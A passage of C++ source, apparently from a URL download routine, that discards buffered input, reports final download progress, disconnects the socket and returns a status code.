            // XXX: this is plain stupid, we already copied the data
            // and just want to drop it...
            char *inputTempBuffer = new(std::nothrow) char[bytesRead];
            if (inputTempBuffer == NULL) {
                readError = B_NO_MEMORY;
                break;
            }
            fInputBuffer.RemoveData(inputTempBuffer, fInputBuffer.Size());
            delete[] inputTempBuffer;
        }
    }

    if (fPosition > 0) {
        fResult.SetLength(fPosition);
        if (fListener != NULL)
            fListener->DownloadProgress(this, fPosition, fPosition);
    }

    fSocket->Disconnect();

    if (readError != B_OK)
        return readError;

    return fQuit ? B_INTERRUPTED : B_OK;
}